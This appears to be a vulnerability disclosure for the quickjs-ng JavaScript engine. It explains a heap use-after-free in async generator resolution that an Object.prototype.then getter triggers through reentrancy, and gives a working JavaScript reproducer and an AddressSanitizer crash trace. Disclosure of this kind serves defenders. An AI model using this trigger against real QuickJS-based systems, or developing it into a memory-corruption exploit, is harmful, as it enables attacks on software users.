Description
js_async_generator_resolve_or_reject() dequeues request nodes and resolves request promises while queue/state are transient.
- Promise resolution does
Get(resolution, "then") in js_promise_resolve_function_call(), allowing attacker-controlled Object.prototype.then getter reentrancy.
- Reentrant
next/return/throw on the same AsyncGenerator can drive paths that call js_async_generator_complete(), which frees s->func_state storage via async_func_free().
- A later await reaction callback reaches
js_async_generator_resolve_function() with magic < 2. In release builds (asserts removed), there is s->func_state.frame.cur_sp[-1] = js_dup(arg); against freed frame memory.
Reproduce
function deferred() {
let resolve;
const promise = new Promise(f => {
resolve = f;
});
return { promise, resolve };
}
let it, a, b, c;
let getterHit = 0;
let inGetter = false;
Object.defineProperty(Object.prototype, "then", {
configurable: true,
get() {
if (inGetter || !it) return undefined;
inGetter = true;
try {
if (getterHit === 0) {
it.return(0);
} else if (getterHit === 1) {
it.next(1);
it.return(1);
}
getterHit++;
} catch (_) {
}
inGetter = false;
return undefined;
},
});
async function* g() {
try {
await a.promise;
yield 1;
await b.promise;
yield 2;
await c.promise;
} finally {
await c.promise;
}
}
(async () => {
a = deferred();
b = deferred();
c = deferred();
it = g();
it.next();
a.resolve({});
await Promise.resolve();
await Promise.resolve();
b.resolve({});
c.resolve({});
await Promise.resolve();
})();
Please test with release build (or remove assert) with ASAN enabled of quickjs-ng.
ASAN output
=================================================================
==3573130==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b7f371e9fd0 at pc 0x559cfa75af81 bp 0x7ffebbfefa30 sp 0x7ffebbfefa20
WRITE of size 8 at 0x7b7f371e9fd0 thread T0
#0 0x559cfa75af80 in js_async_generator_resolve_function (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6f80) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#1 0x559cfa67e5db in js_call_c_function_data (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xfa5db) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#2 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#3 0x559cfa645529 in promise_reaction_job (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc1529) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#4 0x559cfa6442f9 in JS_ExecutePendingJob (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc02f9) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#5 0x559cfa5d3222 in js_std_loop (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x4f222) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#6 0x559cfa5b71ec in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x331ec) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#7 0x7f3f38338634 (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#8 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#9 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
0x7b7f371e9fd0 is located 0 bytes inside of 48-byte region [0x7b7f371e9fd0,0x7b7f371ea000)
freed by thread T0 here:
#0 0x7f3f3871f79d in free /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:51
#1 0x559cfa634a64 in async_func_free (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xb0a64) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#2 0x559cfa75a4d7 in js_async_generator_resume_next (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d64d7) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#3 0x559cfa75ae48 in js_async_generator_resolve_function (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6e48) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#4 0x559cfa67e5db in js_call_c_function_data (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xfa5db) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#5 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#6 0x559cfa645529 in promise_reaction_job (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc1529) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#7 0x559cfa6442f9 in JS_ExecutePendingJob (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xc02f9) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#8 0x559cfa5d3222 in js_std_loop (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x4f222) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#9 0x559cfa5b71ec in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x331ec) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#10 0x7f3f38338634 (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#11 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#12 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
previously allocated by thread T0 here:
#0 0x7f3f38720cb5 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x559cfa6258e3 in js_malloc (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xa18e3) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#2 0x559cfa625c9b in async_func_init (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0xa1c9b) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#3 0x559cfa6e3446 in js_async_generator_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x15f446) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#4 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#5 0x559cfa5fd65f in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7965f) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#6 0x559cfa757950 in js_async_function_resume (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d3950) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#7 0x559cfa75ba18 in js_async_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7a18) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#8 0x559cfa5ff864 in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7b864) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#9 0x559cfa5fd65f in JS_CallInternal (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x7965f) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#10 0x559cfa757950 in js_async_function_resume (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d3950) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#11 0x559cfa75ba18 in js_async_function_call (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7a18) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#12 0x559cfa75bd13 in js_execute_sync_module (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d7d13) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#13 0x559cfa75def1 in js_inner_module_evaluation (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d9ef1) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#14 0x559cfa76213d in JS_EvalFunction (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1de13d) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#15 0x559cfa5b8bef in eval_buf (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x34bef) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#16 0x559cfa5b75b0 in main (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x335b0) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
#17 0x7f3f38338634 (/usr/lib/libc.so.6+0x27634) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#18 0x7f3f383386e8 in __libc_start_main (/usr/lib/libc.so.6+0x276e8) (BuildId: 5e2075850f8de86da4eead11213c59d926ca3796)
#19 0x559cfa5b7d04 in _start (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x33d04) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4)
SUMMARY: AddressSanitizer: heap-use-after-free (/mnt/zpool0/userdata/git/project/quickjs-ng_src/build-asan-rel/qjs+0x1d6f80) (BuildId: a0a169f837df500eea9917ed14a1a04382d974d4) in js_async_generator_resolve_function
Shadow bytes around the buggy address:
0x7b7f371e9d00: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x7b7f371e9d80: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fd
0x7b7f371e9e00: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
0x7b7f371e9e80: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
0x7b7f371e9f00: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
=>0x7b7f371e9f80: fa fa fd fd fd fd fd fd fa fa[fd]fd fd fd fd fd
0x7b7f371ea000: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
0x7b7f371ea080: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
0x7b7f371ea100: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
0x7b7f371ea180: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
0x7b7f371ea200: fa fa fd fd fd fd fd fd fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3573130==ABORTING
Credit
Yuan (@Reset816) and xia0o0o0o (@KpwnZ).
Description
js_async_generator_resolve_or_reject()dequeues request nodes and resolves request promises while queue/state are transient.Get(resolution, "then")injs_promise_resolve_function_call(), allowing attacker-controlledObject.prototype.thengetter reentrancy.next/return/throwon the same AsyncGenerator can drive paths that calljs_async_generator_complete(), which freess->func_statestorage viaasync_func_free().js_async_generator_resolve_function()withmagic < 2. In release builds (asserts removed), there iss->func_state.frame.cur_sp[-1] = js_dup(arg);against freed frame memory.Reproduce
Please test with release build (or remove assert) with ASAN enabled of quickjs-ng.
ASAN output
Credit
Yuan (@Reset816) and xia0o0o0o (@KpwnZ).